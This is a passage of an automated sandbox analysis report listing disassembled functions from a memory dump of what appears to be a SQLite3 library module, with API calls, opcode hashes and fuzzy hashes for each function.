                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000D.00000002.2327081746.0000000061E01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 61E00000, based on PE: true
                                                                                                                                      • Associated: 0000000D.00000002.2327042446.0000000061E00000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327541615.0000000061E89000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327566884.0000000061E8A000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327594426.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327661080.0000000061E9B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327687696.0000000061E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327717208.0000000061EA0000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327777896.0000000061EA1000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_13_2_61e00000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: sqlite3_value_blobsqlite3_value_bytessqlite3_value_text$memcmp
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID: 2264764126-0
                                                                                                                                      • Opcode ID: f4a24cb1987a28c645576bbc95223493ff28be2bb4834aafcad62c9a7c2cd125
                                                                                                                                      • Instruction ID: 215ca0319befc17eccccbd96179849b19b8a40b42a549c7d043b2059b9d0ea3f
                                                                                                                                      • Opcode Fuzzy Hash: f4a24cb1987a28c645576bbc95223493ff28be2bb4834aafcad62c9a7c2cd125
                                                                                                                                      • Instruction Fuzzy Hash: B7316075A086558BCB04DFA8C59099DBBF1EB8D314F25C42FE8989B300D679EC81CB52
                                                                                                                                      Function 61E28F83 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 48COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                        • Part of subcall function 61E28068: sqlite3_log.SQLITE3(?,?,?,?,?,61E2811B), ref: 61E280A3
                                                                                                                                      • sqlite3_mutex_enter.SQLITE3 ref: 61E28FB2
                                                                                                                                      • sqlite3_value_text16le.SQLITE3 ref: 61E28FC6
                                                                                                                                      • sqlite3_value_text16le.SQLITE3 ref: 61E28FF4
                                                                                                                                      • sqlite3_mutex_leave.SQLITE3 ref: 61E29008
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000D.00000002.2327081746.0000000061E01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 61E00000, based on PE: true
                                                                                                                                      • Associated: 0000000D.00000002.2327042446.0000000061E00000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327541615.0000000061E89000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327566884.0000000061E8A000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327594426.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327661080.0000000061E9B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327687696.0000000061E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327717208.0000000061EA0000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327777896.0000000061EA1000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_13_2_61e00000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: sqlite3_value_text16le$sqlite3_logsqlite3_mutex_entersqlite3_mutex_leave
                                                                                                                                      • String ID: library routine called out of sequence$out of memory
                                                                                                                                      • API String ID: 3568942437-3029887290
                                                                                                                                      • Opcode ID: b24406e808208f8243e280420499638d1bcf540988ee4c103019a5cf0e6243d2
                                                                                                                                      • Instruction ID: e08d8797e383a0ce4221f86d9204bfba6d5c841cf68dc502112f567ed3446540
                                                                                                                                      • Opcode Fuzzy Hash: b24406e808208f8243e280420499638d1bcf540988ee4c103019a5cf0e6243d2
                                                                                                                                      • Instruction Fuzzy Hash: D1015271B043554BD710AFB8C4C0A25BBE4AF44358F25887DDD58CB301EB75CC408791
                                                                                                                                      Function 61E38879 Relevance: 9.4, APIs: 6, Instructions: 361stringCOMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000D.00000002.2327081746.0000000061E01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 61E00000, based on PE: true
                                                                                                                                      • Associated: 0000000D.00000002.2327042446.0000000061E00000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327541615.0000000061E89000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327566884.0000000061E8A000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327594426.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327661080.0000000061E9B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327687696.0000000061E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327717208.0000000061EA0000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327777896.0000000061EA1000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_13_2_61e00000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: sqlite3_free$sqlite3_logstrcmp
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID: 2202632817-0
                                                                                                                                      • Opcode ID: 9f0a3cc0d928783b32e3fcbde51aa750811efdae56e44b17b01cde803bf6f4f5
                                                                                                                                      • Instruction ID: ee1b78a7377f4fe8f1e01a49623c1532a51755f147ad66caafb6251e233fa4c5
                                                                                                                                      • Opcode Fuzzy Hash: 9f0a3cc0d928783b32e3fcbde51aa750811efdae56e44b17b01cde803bf6f4f5
                                                                                                                                      • Instruction Fuzzy Hash: 18F1D374A0525A9FDB45CFA9C480B9DBBF1BF88308F248629E855EB344D734E846DF41
                                                                                                                                      Function 61E851B0 Relevance: 9.2, APIs: 6, Instructions: 220COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000D.00000002.2327081746.0000000061E01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 61E00000, based on PE: true
                                                                                                                                      • Associated: 0000000D.00000002.2327042446.0000000061E00000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327541615.0000000061E89000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327566884.0000000061E8A000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327594426.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327661080.0000000061E9B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327687696.0000000061E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327717208.0000000061EA0000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327777896.0000000061EA1000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_13_2_61e00000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID:
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID:
                                                                                                                                      • Opcode ID: d95b19f9bfaad7d5bafe0dd8db069f688a35bf0e00207796f802d5329404be6e
                                                                                                                                      • Instruction ID: a85a9ac708498ac016337004e546997ce6af2692755ce7e458423bd8b1ff11a0
                                                                                                                                      • Opcode Fuzzy Hash: d95b19f9bfaad7d5bafe0dd8db069f688a35bf0e00207796f802d5329404be6e
                                                                                                                                      • Instruction Fuzzy Hash: 4281AC74A05611CFDB40DFA8C58164DBBF5BF89314F29C82AE85ACB314DB35E845CB82
                                                                                                                                      Function 61E16239 Relevance: 9.2, APIs: 6, Instructions: 219COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000D.00000002.2327081746.0000000061E01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 61E00000, based on PE: true
                                                                                                                                      • Associated: 0000000D.00000002.2327042446.0000000061E00000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327541615.0000000061E89000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327566884.0000000061E8A000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327594426.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327661080.0000000061E9B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327687696.0000000061E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327717208.0000000061EA0000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327777896.0000000061EA1000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_13_2_61e00000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: sqlite3_msize$sqlite3_mutex_entersqlite3_mutex_leave
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID: 2585109301-0
                                                                                                                                      • Opcode ID: 8e005c596aea71cc4431ea047a0b999a726a92f9135dfdabd53b41f31bd3eaf8
                                                                                                                                      • Instruction ID: 9b0d2d1e1bad54a27c8e0b1ba0de23e2814693c2db87a2022e6c923a23cfce31
                                                                                                                                      • Opcode Fuzzy Hash: 8e005c596aea71cc4431ea047a0b999a726a92f9135dfdabd53b41f31bd3eaf8
                                                                                                                                      • Instruction Fuzzy Hash: 2AA114B5A09646CFDB00CF68C481B9AB7F1BF89314F298469EC559B309D774E852CFA0
                                                                                                                                      Function 61E31710 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 335COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                        • Part of subcall function 61E3138C: sqlite3_realloc64.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,61E3147B), ref: 61E313BB
                                                                                                                                        • Part of subcall function 61E08FD1: memcmp.MSVCRT ref: 61E0902B
                                                                                                                                        • Part of subcall function 61E08FD1: memcmp.MSVCRT ref: 61E0908F
                                                                                                                                      • sqlite3_malloc64.SQLITE3 ref: 61E3192B
                                                                                                                                        • Part of subcall function 61E1A1B1: sqlite3_initialize.SQLITE3 ref: 61E1A1BC
                                                                                                                                      • memcmp.MSVCRT ref: 61E319EB
                                                                                                                                      • sqlite3_free.SQLITE3 ref: 61E31AC9
                                                                                                                                      • sqlite3_log.SQLITE3 ref: 61E31B7A
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000D.00000002.2327081746.0000000061E01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 61E00000, based on PE: true
                                                                                                                                      • Associated: 0000000D.00000002.2327042446.0000000061E00000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327541615.0000000061E89000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327566884.0000000061E8A000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327594426.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327661080.0000000061E9B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327687696.0000000061E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327717208.0000000061EA0000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327777896.0000000061EA1000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_13_2_61e00000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: memcmp$sqlite3_freesqlite3_initializesqlite3_logsqlite3_malloc64sqlite3_realloc64
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID: 885863977-3916222277
                                                                                                                                      • Opcode ID: fcf0b42e516d1038f9453d4a89281181510524cc0d1a149a9850cde32b12388b
                                                                                                                                      • Instruction ID: 6d76b8d2d4a91be7234bdb49dd2ad4bfbb3e1b8360f07a5f00184a60dbaa54b2
                                                                                                                                      • Opcode Fuzzy Hash: fcf0b42e516d1038f9453d4a89281181510524cc0d1a149a9850cde32b12388b
                                                                                                                                      • Instruction Fuzzy Hash: FAE11070A04269CBDB14CFA9C98079DBBF1AF88309F24856ED859EB355E774D886CF40
                                                                                                                                      Function 61E23005 Relevance: 9.1, APIs: 6, Instructions: 69COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • sqlite3_value_text.SQLITE3 ref: 61E23027
                                                                                                                                      • sqlite3_value_text.SQLITE3 ref: 61E23035
                                                                                                                                      • sqlite3_value_bytes.SQLITE3 ref: 61E23042
                                                                                                                                      • sqlite3_value_text.SQLITE3 ref: 61E23070
                                                                                                                                      • sqlite3_result_error.SQLITE3 ref: 61E2309A
                                                                                                                                      • sqlite3_result_int.SQLITE3 ref: 61E230D2
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000D.00000002.2327081746.0000000061E01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 61E00000, based on PE: true
                                                                                                                                      • Associated: 0000000D.00000002.2327042446.0000000061E00000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327541615.0000000061E89000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327566884.0000000061E8A000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327594426.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327661080.0000000061E9B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327687696.0000000061E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327717208.0000000061EA0000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327777896.0000000061EA1000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_13_2_61e00000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: sqlite3_value_text$sqlite3_result_errorsqlite3_result_intsqlite3_value_bytes
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID: 4226599549-0
                                                                                                                                      • Opcode ID: 40f764ae822fc8341c87c852661b22bb65f00cd1d7b485c3a7d4c61599aafaba
                                                                                                                                      • Instruction ID: fa5c43b11a04baf67321788ad80b6ca56ee6949c52e615cb3c0f10121fd4aae2
                                                                                                                                      • Opcode Fuzzy Hash: 40f764ae822fc8341c87c852661b22bb65f00cd1d7b485c3a7d4c61599aafaba
                                                                                                                                      • Instruction Fuzzy Hash: 0621E8709047459BCB00DFA9D994A5DBBF1BF88725F20C92DE9A897390D734E841CF61
                                                                                                                                      Function 61E0BAA2 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 75COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000D.00000002.2327081746.0000000061E01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 61E00000, based on PE: true
                                                                                                                                      • Associated: 0000000D.00000002.2327042446.0000000061E00000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327541615.0000000061E89000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327566884.0000000061E8A000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327594426.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327661080.0000000061E9B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327687696.0000000061E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327717208.0000000061EA0000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327777896.0000000061EA1000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_13_2_61e00000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: sqlite3_strglob
                                                                                                                                      • String ID: $
                                                                                                                                      • API String ID: 476814121-227171996
                                                                                                                                      • Opcode ID: 7737a646b46aef62269d9938615feea80cfc0989ea3044ffbc9fcddb27c35cfe
                                                                                                                                      • Instruction ID: 7a8708075eacd6c34abe30baa4429fa3b5a05c5b5ce98b57a6a4003a3b8177b9
                                                                                                                                      • Opcode Fuzzy Hash: 7737a646b46aef62269d9938615feea80cfc0989ea3044ffbc9fcddb27c35cfe
                                                                                                                                      • Instruction Fuzzy Hash: 33213838D087D24AD7218BBAC58035BBEE4BF4671AF24C06DC4964B685E730D4A1CB03
                                                                                                                                      Function 61E16A3D Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 43COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • sqlite3_mutex_enter.SQLITE3(?,?,?,61E16ABE), ref: 61E16A6D
                                                                                                                                      • sqlite3_mutex_enter.SQLITE3(?,?,?,61E16ABE), ref: 61E16A88
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000D.00000002.2327081746.0000000061E01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 61E00000, based on PE: true
                                                                                                                                      • Associated: 0000000D.00000002.2327042446.0000000061E00000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327541615.0000000061E89000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327566884.0000000061E8A000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327594426.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327661080.0000000061E9B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327687696.0000000061E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327717208.0000000061EA0000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327777896.0000000061EA1000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_13_2_61e00000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: sqlite3_mutex_enter
                                                                                                                                      • String ID: @9a$@9a$@9a
                                                                                                                                      • API String ID: 3053899952-1227196597
                                                                                                                                      • Opcode ID: 86dfee60da7acafb760276c9778a9bb7f2a92392c005f6199ad652a5efd98fee
                                                                                                                                      • Instruction ID: 51464a5f178f23b80476e5d8c0e72251a39cc923bcff4401defe3f9300988d6b
                                                                                                                                      • Opcode Fuzzy Hash: 86dfee60da7acafb760276c9778a9bb7f2a92392c005f6199ad652a5efd98fee
                                                                                                                                      • Instruction Fuzzy Hash: DAF0F9313081518BEB009BEED586711FBA5BB89318F68C97AE448CF358D2B1D8408791
                                                                                                                                      Function 61E3B91F Relevance: 7.9, APIs: 4, Strings: 1, Instructions: 423COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                        • Part of subcall function 61E13C8E: sqlite3_mutex_try.SQLITE3(?,00000000,?,61E13CF0), ref: 61E13C2E
                                                                                                                                      • memcmp.MSVCRT ref: 61E3BA52
                                                                                                                                      • memcmp.MSVCRT ref: 61E3BA8E
                                                                                                                                      • memcmp.MSVCRT ref: 61E3BB0A
                                                                                                                                      • memcmp.MSVCRT ref: 61E3BD14
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000D.00000002.2327081746.0000000061E01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 61E00000, based on PE: true
                                                                                                                                      • Associated: 0000000D.00000002.2327042446.0000000061E00000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327541615.0000000061E89000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327566884.0000000061E8A000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327594426.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327661080.0000000061E9B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327687696.0000000061E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327717208.0000000061EA0000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327777896.0000000061EA1000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_13_2_61e00000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: memcmp$sqlite3_mutex_try
                                                                                                                                      • String ID: 0
                                                                                                                                      • API String ID: 2794522359-4108050209
                                                                                                                                      • Opcode ID: 3ac686300865fe194f72bdd91be57a9ce56ae1785c8d5cbabc28614575de9296
                                                                                                                                      • Instruction ID: 16ba7343736bb527158698b474bbcd3afd71df4d9d6603271a2c87e4fbdf42af
                                                                                                                                      • Opcode Fuzzy Hash: 3ac686300865fe194f72bdd91be57a9ce56ae1785c8d5cbabc28614575de9296
                                                                                                                                      • Instruction Fuzzy Hash: A502BC70E04A698FEB05CFA9C08479DBBF1AFC8308F24C569E8469B395D734E885CB51
                                                                                                                                      Function 61E1840D Relevance: 7.7, APIs: 5, Instructions: 212COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • sqlite3_free.SQLITE3 ref: 61E18465
                                                                                                                                      • sqlite3_malloc.SQLITE3 ref: 61E184FB
                                                                                                                                      • sqlite3_free.SQLITE3 ref: 61E1842C
                                                                                                                                        • Part of subcall function 61E09B3D: sqlite3_mutex_enter.SQLITE3 ref: 61E09B5C
                                                                                                                                      • sqlite3_free.SQLITE3 ref: 61E1868A
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000D.00000002.2327081746.0000000061E01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 61E00000, based on PE: true
                                                                                                                                      • Associated: 0000000D.00000002.2327042446.0000000061E00000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327541615.0000000061E89000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327566884.0000000061E8A000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327594426.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327661080.0000000061E9B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327687696.0000000061E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327717208.0000000061EA0000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327777896.0000000061EA1000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_13_2_61e00000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: sqlite3_free$sqlite3_mallocsqlite3_mutex_enter
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID: 165182205-0
                                                                                                                                      • Opcode ID: 16952b67d7732fc4ada51d93540606116d4c71d1be5f29f7f7f9d00a378a9ca7
                                                                                                                                      • Instruction ID: aafd9ec4b20a39cee87902430ba3fa8e06fa1ccb72e96da7a1514644849b8d37
                                                                                                                                      • Opcode Fuzzy Hash: 16952b67d7732fc4ada51d93540606116d4c71d1be5f29f7f7f9d00a378a9ca7
                                                                                                                                      • Instruction Fuzzy Hash: 52A19275D04258CFCB04CFA9D484ADDBBF1BF88314F25852AE859AB348E774A945CF41
                                                                                                                                      Function 61E050B6 Relevance: 7.7, APIs: 5, Instructions: 190COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000D.00000002.2327081746.0000000061E01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 61E00000, based on PE: true
                                                                                                                                      • Associated: 0000000D.00000002.2327042446.0000000061E00000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327541615.0000000061E89000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327566884.0000000061E8A000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327594426.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327661080.0000000061E9B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327687696.0000000061E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327717208.0000000061EA0000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327777896.0000000061EA1000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_13_2_61e00000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: sqlite3_strnicmp
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID: 1961171630-0
                                                                                                                                      • Opcode ID: 4152a2755d37966d6f30f6a983616001695ced2628f7d588fa17c454228850bc
                                                                                                                                      • Instruction ID: 1cd60eced02e175bcc69efc76f2b3cd0355e64b47221b08c0a6e24e201a49c35
                                                                                                                                      • Opcode Fuzzy Hash: 4152a2755d37966d6f30f6a983616001695ced2628f7d588fa17c454228850bc
                                                                                                                                      • Instruction Fuzzy Hash: 2151B37544968589EB214ED884823A9BFE79F4370FF78D41AD4A48B251C37EC0BA8A53
                                                                                                                                      Function 61E4D8DF Relevance: 7.7, APIs: 5, Instructions: 157COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • sqlite3_mutex_leave.SQLITE3(?,?,?,?,?,?,?,?,?,?,61E4DB8A), ref: 61E4D908
                                                                                                                                      • sqlite3_mutex_leave.SQLITE3(?,?,?,?,?,?,?,?,?,?,61E4DB8A), ref: 61E4DA95
                                                                                                                                      • sqlite3_mutex_free.SQLITE3(?,?,?,?,?,?,?,?,?,?,61E4DB8A), ref: 61E4DAA7
                                                                                                                                      • sqlite3_free.SQLITE3 ref: 61E4DABE
                                                                                                                                      • sqlite3_free.SQLITE3 ref: 61E4DAC6
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000D.00000002.2327081746.0000000061E01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 61E00000, based on PE: true
